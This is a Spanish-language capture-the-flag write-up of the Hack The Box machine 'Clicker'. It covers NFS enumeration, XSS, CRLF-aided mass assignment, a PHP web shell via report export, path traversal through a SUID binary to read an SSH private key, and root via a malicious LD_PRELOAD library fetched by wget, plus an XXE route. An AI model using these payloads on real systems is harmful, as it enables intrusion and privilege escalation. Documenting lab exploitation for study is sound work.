Table of Contents
Hack The Box: Clicker Writeup
Welcome to my detailed writeup of the medium difficulty machine “Clicker” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1$ rustscan -a 10.129.244.53 --ulimit 5000 -g
210.129.244.53 -> [22,80,111,2049,34153,44465,45613,59011]
1$ nmap -p22,80,111,2049,34153,44465,45613,59011 -sCV 10.129.244.53 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-13 19:16 CEST
3Nmap scan report for 10.129.244.53
4Host is up (0.037s latency).
5
6PORT STATE SERVICE VERSION
722/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
8| ssh-hostkey:
9| 256 89:d7:39:34:58:a0:ea:a1:db:c1:3d:14:ec:5d:5a:92 (ECDSA)
10|_ 256 b4:da:8d:af:65:9c:bb:f0:71:d5:13:50:ed:d8:11:30 (ED25519)
1180/tcp open http Apache httpd 2.4.52 ((Ubuntu))
12|_http-server-header: Apache/2.4.52 (Ubuntu)
13|_http-title: Did not follow redirect to http://clicker.htb/
14111/tcp open rpcbind 2-4 (RPC #100000)
15| rpcinfo:
16| program version port/proto service
17| 100000 2,3,4 111/tcp rpcbind
18| 100000 2,3,4 111/udp rpcbind
19| 100000 3,4 111/tcp6 rpcbind
20| 100000 3,4 111/udp6 rpcbind
21| 100003 3,4 2049/tcp nfs
22| 100003 3,4 2049/tcp6 nfs
23| 100005 1,2,3 50307/tcp6 mountd
24| 100005 1,2,3 56563/udp6 mountd
25| 100005 1,2,3 58331/udp mountd
26| 100005 1,2,3 59011/tcp mountd
27| 100021 1,3,4 34153/tcp nlockmgr
28| 100021 1,3,4 37231/tcp6 nlockmgr
29| 100021 1,3,4 43295/udp nlockmgr
30| 100021 1,3,4 57855/udp6 nlockmgr
31| 100024 1 43849/tcp6 status
32| 100024 1 45440/udp status
33| 100024 1 45613/tcp status
34| 100024 1 49433/udp6 status
35| 100227 3 2049/tcp nfs_acl
36|_ 100227 3 2049/tcp6 nfs_acl
372049/tcp open nfs_acl 3 (RPC #100227)
3834153/tcp open nlockmgr 1-4 (RPC #100021)
3944465/tcp open mountd 1-3 (RPC #100005)
4045613/tcp open status 1 (RPC #100024)
4159011/tcp open mountd 1-3 (RPC #100005)
42Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
43
44Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
45Nmap done: 1 IP address (1 host up) scanned in 10.86 seconds
UDP Enumeration
1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.244.53 -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-13 19:17 CEST
3Nmap scan report for 10.129.244.53
4Host is up (0.037s latency).
5Not shown: 1493 open|filtered udp ports (no-response)
6PORT STATE SERVICE
7111/udp open rpcbind
8998/udp closed puparp
917205/udp closed unknown
1021111/udp closed unknown
1126191/udp closed unknown
1231520/udp closed unknown
1355544/udp closed unknown
14
15Nmap done: 1 IP address (1 host up) scanned in 1.22 seconds
En el servicio web del puerto 80 vemos una redirección a clicker.htb
, lo agregamos al /etc/hosts
NFS Enumeration
Interesante que se encuentre el NFS abierto, ya que me pareció extraño vamos a enumerarlo lo primero.
Primero vamos a montar todo lo que se encuentre en el servidor.
1$ sudo mount -t nfs 10.129.244.53:/ /mnt/montura
2┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/clicker/scan]
3└──╼ [★]$ ls -la /mnt/montura
4total 8
5drwxr-xr-x 18 root root 4096 sep 5 2023 .
6drwxr-xr-x 1 root root 14 ago 13 19:20 ..
7drwxr-xr-x 3 root root 4096 sep 5 2023 mnt
1$ find . -type f
2./mnt/backups/clicker.htb_backup.zip
Solo vemos un archivo .zip
Contiene lo que parece archivos de un sitio web.
Analizando los archivos encontramos unas credenciales que quizás nos sirvan.
clicker_db_user:clicker_db_password
Todavía no quiero meterme a analizar el código mas profundamente, primero vamos a ver la funcionalidad del aplicativo.
HTTP Enumeration
Multiple XSS
Así se ve el sitio web, parece una especie de juego en el navegador.
Vemos que podemos visualizar mi perfil. Quizás se pueda acontecer un XSS aquí.
Vemos que este es el juego, se basa en dar clicks y ir subiendo de nivele
Al guardar la partida podemos manipular el mensaje de guardado y se produce un XSS.
Vemos que para guardar la partida se hace una petición GET al recurso save_game.php
y mediante los query params clicks
y level
indicamos el progreso.
Haciendo una petición a http://clicker.htb/save_game.php?clicks=120&level=120
vemos que se guarda el progreso, así que podemos modificar el progreso a nuestro gusto.
Al autenticarnos erróneamente también podemos modificar el mensaje informativo y se acontece otro XSS.
Discovering SQL Injection | Mass Assignment Vulnerability
Si introducimos una '
como clicks y niveles vemos que el servidor responde con un estado de error 500. Puede que este end-point sea vulnerable a SQL Injection. Como tenemos el código podemos revisarlo.
Al revisar el código de save_game.php
me encontré con algo mucho mas interesante.
Este código recorre todos parámetros y los pasa a una función que hará un UPDATE
utilizando como campo a actualizar el parámetro que le pasemos. Pero tiene una pequeña protección para no poder cambiar el role
Vemos que por defecto el rol establecido a los usuarios es User
, así que supongo que existirá el rol Admin
o Administrator
En principio no podemos modificar el rol pero si otros campos, eso es interesante.
Cambiando el username
podemos conseguir otro XSS
Cambiando el campo nickname
y posteriormente revisando nuestro perfil también.
Como alcancé un punto donde no encontraba nada, me puse a investigar sobre la condición para poder cambiar mi rol de usuario.
CRLF Injection
Me encontré este artículo en Hacktricks
E inyectando un retorno de carro realmente no afectaría a la consulta SQL ya que a parte de que está sanitizada, se seguiría interpretando, pero ya no cumpliría la condición de que %0d%arole === 'role'
Y nos hemos convertido administradores.
Vemos una función para exportar una especie de reporte de los mejores jugadores.
Así es como se ve el reporte.
Foothold
Y revisando el código de export.php
descubrí una cosa crítica, y es que podemos controlar la extensión mediante el parámetro extension
. Por lo cual..
Podemos interceptar la petición con burpsuite
y modificar el parámetro extension
para establecer que queremos guardar un archivo php.
Y vaya… Podemos crear archivos PHP.
Ahora, si recordamos, podemos modificar cualquier campo mediante el recurso save_game.php
…
El vector de ataque es editar el nickname
de un usuario introduciendo un código PHP, para después crear un reporte en el que modificaremos la extensión para que sea PHP e interprete el código inyectado en el campo nickname
y así conseguir ejecución remota de comandos.
Por lo cual, cambiamos el nickname
para ver si nos carga el phpinfo.
Creamos el reporte modificando la extensión..
Y podemos crear nuestro propio archivo PHP, así que vamos a crear una web shell.
Cambiamos el nickname…
¡Y tenemos ejecución remota de comandos!
Podemos comprobar que no estamos en ningún contenedor.
Y con pwncat-cs
nos podemos poner en escucha por el puerto 443 y mandarnos la revshell.
Todavía no podemos ver la flag, vemos que hay un usuario llamado jack
User Pivoting
Buscando por binarios con permisos SUID encontramos un binario un tanto extraño
1(remote) www-data@clicker:/var/www/clicker.htb/exports$ find / \-perm -4000 2>/dev/null
2/usr/bin/sudo
3/usr/bin/chsh
4/usr/bin/gpasswd
5/usr/bin/fusermount3
6/usr/bin/su
7/usr/bin/umount
8/usr/bin/newgrp
9/usr/bin/chfn
10/usr/bin/passwd
11/usr/bin/mount
12/usr/lib/openssh/ssh-keysign
13/usr/lib/dbus-1.0/dbus-daemon-launch-helper
14/usr/libexec/polkit-agent-helper-1
15/usr/sbin/mount.nfs
16/opt/manage/execute_query
1(remote) www-data@clicker:/var/www/clicker.htb/exports$ ls -la /opt/manage/execute_query
2-rwsrwsr-x 1 jack jack 16368 Feb 26 2023 /opt/manage/execute_query
Vemos que pertenece a jack
Podemos echar un vistazo con ghidra
a este binario.
1undefined8 main(int param_1,long param_2)
2
3{
4 int iVar1;
5 undefined8 uVar2;
6 char *pcVar3;
7 size_t sVar4;
8 size_t sVar5;
9 char *__dest;
10 long in_FS_OFFSET;
11 undefined8 local_98;
12 undefined8 local_90;
13 undefined4 local_88;
14 undefined8 local_78;
15 undefined8 local_70;
16 undefined8 local_68;
17 undefined8 local_60;
18 undefined8 local_58;
19 undefined8 local_50;
20 undefined8 local_48;
21 undefined8 local_40;
22 undefined8 local_38;
23 undefined8 local_30;
24 undefined local_28;
25 long local_20;
26
27 local_20 = *(long *)(in_FS_OFFSET + 0x28);
28 if (param_1 < 2) {
29 puts("ERROR: not enough arguments");
30 uVar2 = 1;
31 }
32 else {
33 iVar1 = atoi(*(char **)(param_2 + 8));
34 pcVar3 = (char *)calloc(0x14,1);
35 switch(iVar1) {
36 case 0:
37 puts("ERROR: Invalid arguments");
38 uVar2 = 2;
39 goto LAB_001015e1;
40 case 1:
41 strncpy(pcVar3,"create.sql",0x14);
42 break;
43 case 2:
44 strncpy(pcVar3,"populate.sql",0x14);
45 break;
46 case 3:
47 strncpy(pcVar3,"reset_password.sql",0x14);
48 break;
49 case 4:
50 strncpy(pcVar3,"clean.sql",0x14);
51 break;
52 default:
53 strncpy(pcVar3,*(char **)(param_2 + 0x10),0x14);
54 }
55 local_98 = 0x616a2f656d6f682f;
56 local_90 = 0x69726575712f6b63;
57 local_88 = 0x2f7365;
58 sVar4 = strlen((char *)&local_98);
59 sVar5 = strlen(pcVar3);
60 __dest = (char *)calloc(sVar5 + sVar4 + 1,1);
61 strcat(__dest,(char *)&local_98);
62 strcat(__dest,pcVar3);
63 setreuid(1000,1000);
64 iVar1 = access(__dest,4);
65 if (iVar1 == 0) {
66 local_78 = 0x6e69622f7273752f;
67 local_70 = 0x2d206c7173796d2f;
68 local_68 = 0x656b63696c632075;
69 local_60 = 0x6573755f62645f72;
70 local_58 = 0x737361702d2d2072;
71 local_50 = 0x6c63273d64726f77;
72 local_48 = 0x62645f72656b6369;
73 local_40 = 0x726f77737361705f;
74 local_38 = 0x6b63696c63202764;
75 local_30 = 0x203c20762d207265;
76 local_28 = 0;
77 sVar4 = strlen((char *)&local_78);
78 sVar5 = strlen(pcVar3);
79 pcVar3 = (char *)calloc(sVar5 + sVar4 + 1,1);
80 strcat(pcVar3,(char *)&local_78);
81 strcat(pcVar3,__dest);
82 system(pcVar3);
83 }
84 else {
85 puts("File not readable or not found");
86 }
87 uVar2 = 0;
88 }
Resumidamente este código hace lo siguiente:
1. Revisión de Argumentos:
- El código verifica si el número de argumentos (
param_1
) es menor que 2. Si es así, imprime un mensaje de error y termina el programa con un código de retorno 1. - Si el número de argumentos es suficiente, convierte el segundo argumento en un entero usando
atoi()
.
2. Asignación de Nombre de Archivo:
- Dependiendo del valor del entero
iVar1
, que se obtiene del segundo argumento, selecciona un nombre de archivo SQL predeterminado:1
→ “create.sql”2
→ “populate.sql”3
→ “reset_password.sql”4
→ “clean.sql”- Cualquier otro valor usará el tercer argumento proporcionado (
*(char **)(param_2 + 0x10)
) como nombre de archivo.
Es decir, que como segundo argumento podemos poner lo que sea y de tercer argumento podemos poner un archivo y el binario leerá este archivo y lo reportará por pantalla y como este binario debido al permiso SUID lo está ejecutando jack
podríamos intentar leer archivos de este usuario.
Primero vamos a leer el /etc/passwd
para comprobar que esto es así.
1(remote) www-data@clicker:/var/www/clicker.htb/exports$ /opt/manage/execute_query 2123123 ../../../etc/passwd
2mysql: [Warning] Using a password on the command line interface can be insecure.
3--------------
4root:x:0:0:root:/root:/bin/bash
5daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
6bin:x:2:2:bin:/bin:/usr/sbin/nologin
7sys:x:3:3:sys:/dev:/usr/sbin/nologin
8sync:x:4:65534:sync:/bin:/bin/sync
9games:x:5:60:games:/usr/games:/usr/sbin/nologin
10man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
11lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
12mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
13news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
14uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
15proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
16www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
17backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
18list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
19irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
20gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
21nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
22.........
Y funciona. Tener en cuenta que este archivo lo hemos leido como jack
Por alguna razón no podía leer la id_rsa.
1(remote) www-data@clicker:/var/www/clicker.htb/exports$ /opt/manage/execute_query 2123 ../../../home/jack/.ssh/id_rsa
2mysql: [Warning] Using a password on the command line interface can be insecure.
3ERROR: Can't initialize batch_readline - may be the input source is a directory or a block device.
Probando un rato por alguna razón probando ../.ssh/id_rsa
pude leer la clave privada de jack
1(remote) www-data@clicker:/var/www/clicker.htb/exports$ /opt/manage/execute_query 21 ../.ssh/id_rsa
2mysql: [Warning] Using a password on the command line interface can be insecure.
3--------------
4-----BEGIN OPENSSH PRIVATE KEY---
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
41-----END OPENSSH PRIVATE KEY---
42--------------
43
44ERROR 1064 (42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-----BEGIN OPENSSH PRIVATE KEY---
45b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAA' at line 1
Ahora que tenemos la clave privada de jack
podemos iniciar sesión por SSH como este usuario
1$ chmod 600 id_rsa
2┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/clicker/content]
3└──╼ [★]$ ssh -i id_rsa jack@clicker.htb
4Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-84-generic x86_64)
5
6 * Documentation: https://help.ubuntu.com
7 * Management: https://landscape.canonical.com
8 * Support: https://ubuntu.com/advantage
9
10 System information as of Tue Aug 13 04:52:32 PM UTC 2024
11
12 System load: 0.00439453125
13 Usage of /: 53.3% of 5.77GB
14 Memory usage: 19%
15 Swap usage: 0%
16 Processes: 247
17 Users logged in: 0
18 IPv4 address for eth0: 10.129.244.53
19 IPv6 address for eth0: dead:beef::250:56ff:fe94:b37a
20
21
22Expanded Security Maintenance for Applications is not enabled.
23
240 updates can be applied immediately.
25
26Enable ESM Apps to receive additional future security updates.
27See https://ubuntu.com/esm or run: sudo pro status
28
29
30The list of available updates is more than a week old.
31To check for new updates run: sudo apt update
32
33Last login: Tue Aug 13 16:52:33 2024 from 10.10.14.85
34To run a command as administrator (user "root"), use "sudo <command>".
35See "man sudo_root" for details.
36
37jack@clicker:~$ whoami
38jack
Y podríamos leer la flag
1ack@clicker:~$ cat user.txt
2d97427a66f43a70a...
Privilege Escalation
Podemos observar que jack
puede ejecutar cualquier comando como el usuario que el quiera pero necesitamos la credencial de jack
, cosa que no tenemos.
Además podemos ejecutar como root y sin contraseña el script /opt/monitor.sh
1jack@clicker:~$ sudo -l
2Matching Defaults entries for jack on clicker:
3 env_reset, mail_badpass,
4 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
5 use_pty
6
7User jack may run the following commands on clicker:
8 (ALL : ALL) ALL
9 (root) SETENV: NOPASSWD: /opt/monitor.sh
También detectamos que este usuario pertenece al grupo adm
por lo cual podríamos leer algunos logs en /var/log
No podemos modificar este script.
1-rwxr-xr-x 1 root root 504 Jul 20 2023 /opt/monitor.sh
Ejecutando este script nos devuelve un fichero XML
1<?xml version="1.0"?>
2<data>
3 <timestamp>1723571776</timestamp>
4 <date>2024/08/13 05:56:16pm</date>
5 <php-version>8.1.2-1ubuntu2.14</php-version>
6 <test-connection-db>OK</test-connection-db>
7 <memory-usage>392704</memory-usage>
8 <environment>
9 <APACHE_RUN_DIR>/var/run/apache2</APACHE_RUN_DIR>
10 <SYSTEMD_EXEC_PID>1173</SYSTEMD_EXEC_PID>
11 <APACHE_PID_FILE>/var/run/apache2/apache2.pid</APACHE_PID_FILE>
12 <JOURNAL_STREAM>8:26796</JOURNAL_STREAM>
13 <PATH>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin</PATH>
14 <INVOCATION_ID>9d410bb08fb8413485c944cf3e9f9476</INVOCATION_ID>
15 <APACHE_LOCK_DIR>/var/lock/apache2</APACHE_LOCK_DIR>
16 <LANG>C</LANG>
17 <APACHE_RUN_USER>www-data</APACHE_RUN_USER>
18 <APACHE_RUN_GROUP>www-data</APACHE_RUN_GROUP>
19 <APACHE_LOG_DIR>/var/log/apache2</APACHE_LOG_DIR>
20 <PWD>/</PWD>
21 </environment>
22</data>
1#!/bin/bash
2if [ "$EUID" -ne 0 ]
3 then echo "Error, please run as root"
4 exit
5fi
6
7set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
8unset PERL5LIB;
9unset PERLLIB;
10
11data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
12/usr/bin/xml_pp <<< $data;
13if [[ $NOSAVE == "true" ]]; then
14 exit;
15else
16 timestamp=$(/usr/bin/date +%s)
17 /usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
18fi
- Usa
curl
para realizar una solicitud HTTP ahttp://clicker.htb/diagnostic.php?token=secret_diagnostic_token
, guardando el resultado en la variabledata
. La opción-s
(silent) suprime la salida de progreso y errores decurl
.
- Usa
Formatea y muestra los datos XML:
- El comando
/usr/bin/xml_pp
(una utilidad Perl para formatear y mostrar XML) se usa para formatear los datos obtenidos de la URL.
- El comando
Condicional para guardar los datos:
- Si la variable de entorno
NOSAVE
está establecida en"true"
, el script se detiene (exit
). - Si
NOSAVE
no está en"true"
, el script obtiene una marca de tiempo (timestamp
) utilizando el comandodate +%s
, que proporciona el número de segundos desde el Epoch (1 de enero de 1970). - Finalmente, guarda los datos obtenidos en un archivo XML dentro del directorio
/root/diagnostic_files/
, nombrando el archivo con el formatodiagnostic_<timestamp>.xml
.
- Si la variable de entorno
Si ejecutamos otra vez el sudo -l
vemos que tenemos el parámetro SETENV
1(root) SETENV: NOPASSWD: /opt/monitor.sh
Esto significa que podemos inyectar variables de entorno que se pasarán en tiempo de ejecución al script. No podemos hacer un path hijacking ya que vemos que se está reemplazando el PATH dentro del script pero podemos hacer mas cosas.
Buscando un poco en Google podemos encontrar el siguiente artículo
Aquí entra en juego la variable de entorno LD_PRELOAD
What is LD_PRELOAD ?
Ans : LD_PRELOAD is an optional Environment Variable that is used to set/load Shared Libraries to a program or script. That means we can set the value of the LD_PRELOAD Environment Variable for a program to tell the program to load the mentioned libraries in it’s memory before starting.
Y el artículo dicta que debemos revisar si tenemos permiso para establecer variables de entorno (si) y si tenemos establecido env_keep += LD_PRELOAD
en el archivo /etc/sudoers
. Pero que si tenemos el parámetro SETENV
es suficiente.
Enumerate to see if we have permission to set the environment variable for the script or program. In this case we see that we can SETENV which means the same. Also see if the
env_keep += LD_PRELOAD
is set here or in the sudoers file. In this case we don’t see that but the SETENV is enough.
Por lo cual podemos realizar esta escalada de privilegios creando una librería compartida maliciosa que ejecutará un comando a nivel de sistema. Esta librería se cargará cuando ejecutemos con sudo el script que hemos detectado.
La máquina víctima no tiene gcc
así que me va a tocar compilarlo en mi máquina de atacante.
1jack@clicker:/tmp$ which gcc
2jack@clicker:/tmp$
Entonces creamos la librería compartida maliciosa.
1#include <stdio.h>
2#include <stdlib.h>
3#include <sys/types.h>
4
5void _init() {
6 unsetenv("LD_PRELOAD");
7 setuid(0);
8 setgid(0);
9 system("/bin/bash -p");
10}
La compilamos…
1$ gcc -fPIC -shared -nostartfiles -o evil.so evil.c
2evil.c: In function ‘_init’:
3evil.c:7:9: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
4 7 | setuid(0);
5 | ^~~~~~
6evil.c:8:9: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
7 8 | setgid(0);
8 | ^~~~~~
9┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/clicker/content]
10└──╼ [★]$ ls -la evil.so
11-rwxr-xr-x 1 pointedsec pointedsec 14152 ago 13 22:19 evil.so
Nos la pasamos a la máquina víctima
1jack@clicker:/tmp$ wget http://10.10.14.85:8081/evil.so
2--2024-08-13 18:20:20-- http://10.10.14.85:8081/evil.so
3Connecting to 10.10.14.85:8081... connected.
4HTTP request sent, awaiting response... 200 OK
5Length: 14152 (14K) [application/octet-stream]
6Saving to: ‘evil.so’
7
8evil.so 100%[==========================>] 13.82K --.-KB/s in 0.04s
9
102024-08-13 18:20:20 (371 KB/s) - ‘evil.so’ saved [14152/14152]
Y ahora si cargamos nuestra librería compartida maliciosa en memoria del programa
estableciendo la variable d entorno LD_PRELOAD
…
1jack@clicker:/tmp$ sudo LD_PRELOAD=/tmp/evil.so /opt/monitor.sh
2root@clicker:/tmp# id
3uid=0(root) gid=0(root) groups=0(root)
Y podríamos leer la flag
1root@clicker:/tmp# cat /root/root.txt
2afbf7c61dbdb7fa331...
Privilege Escalation -> The intented path
El camino que había que tomar para completar esta máquina no era el que hemos tomado en este write-up.
Si no que como se está utilizando curl
podemos establecer la variable de entorno http_proxy
aprovechándonos del SETENV
para poder modificar los datos que se envían al recurso diagnostic.php
y de esta manera poder forzar un XML External Entity Injection (XXE) y de esta forma leer la id_rsa
de root
y conectarnos por SSH como root
Podemos empaparos un poco de la documentación sobre esta variable de entorno. https://everything.curl.dev/usingcurl/proxies/env.html
Así que primero, en burpsuite
vamos a editar nuestro proxy y establecer que esté en escucha por todas las interfaces.
Y ahora si nos ponemos a interceptar las solicitudes y ejecutamos el script estableciendo la variable de entorno http_proxy
a nuestro proxy de la máquina atacante.
1jack@clicker:/tmp$ sudo http_proxy=http://10.10.14.85:8080 /opt/monitor.sh
Nos llega la petición y podemos modificarla.
Hay que entender también lo que está pasando pro detrás, y es que el script primero hace una solicitud a diagnostic.php
cuya respuesta no podemos controlar, pero eso nos da igual, lo que nos importa es poder modificar la respuesta que recibe el cliente, no la que nos ofrece el recurso diagnostic.php
Ya que esta respuesta se pasa a la utilidad /usr/bin/xml_pp
que es donde podemos hacer que se acontezca el XXE.
Por lo cual, al interceptar la petición interceptamos también la respuesta…
Y aquí vamos a inyectar el XXE
Y si le damos a Forward
…
Vemos que se carga el /etc/passwd
Como la data se está pasando a la utilidad xml_pp
como root
, podemos hacer que el XXE cargue la clave privada de root
para intentar iniciar sesión por SSH.
Por lo cual repetimos el proceso pero modificamos el XXE.
Y obtenemos la clave privada de root
.
Y ya podemos conectarnos como root
utilizando su clave privada.
1jack@clicker:/tmp$ nano id_rsa
2jack@clicker:/tmp$ chmod 600 id_rsa
3jack@clicker:/tmp$ ssh -i id_rsa root@127.0.0.1
4....
5root@clicker:~# id
6uid=0(root) gid=0(root) groups=0(root)
Y ahora sí, ¡ya estaría!
Happy Hacking! 🚀
#HackTheBox #Clicker #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Linux #Enumerating NFS #Information Leakage #XSS #Mass Assignment Vulnerability #CRLF Injection #SQL Injection #Web Shell #Reversing Engineering #Abusing SETENV #Abusing LD_PRELOAD #Abusing Http_proxy #XXE